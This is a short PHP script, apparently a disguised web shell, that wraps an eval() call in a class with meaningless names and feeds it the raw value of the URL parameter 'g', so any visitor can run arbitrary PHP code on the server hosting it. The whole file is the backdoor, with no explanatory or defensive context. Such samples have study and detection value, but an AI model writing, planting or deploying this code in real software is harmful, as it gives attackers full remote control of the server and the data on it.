<?php
class a {
    public $popo="phpinfo();";
    public function ppp(){
        $popo = $this->popo;
        eval($popo);

    }
    public function ooo($po){
        $this->popo=$po;
    }
}
$tempx = new a();
$tempx->ooo($_GET['g']);  
$tempx->ppp();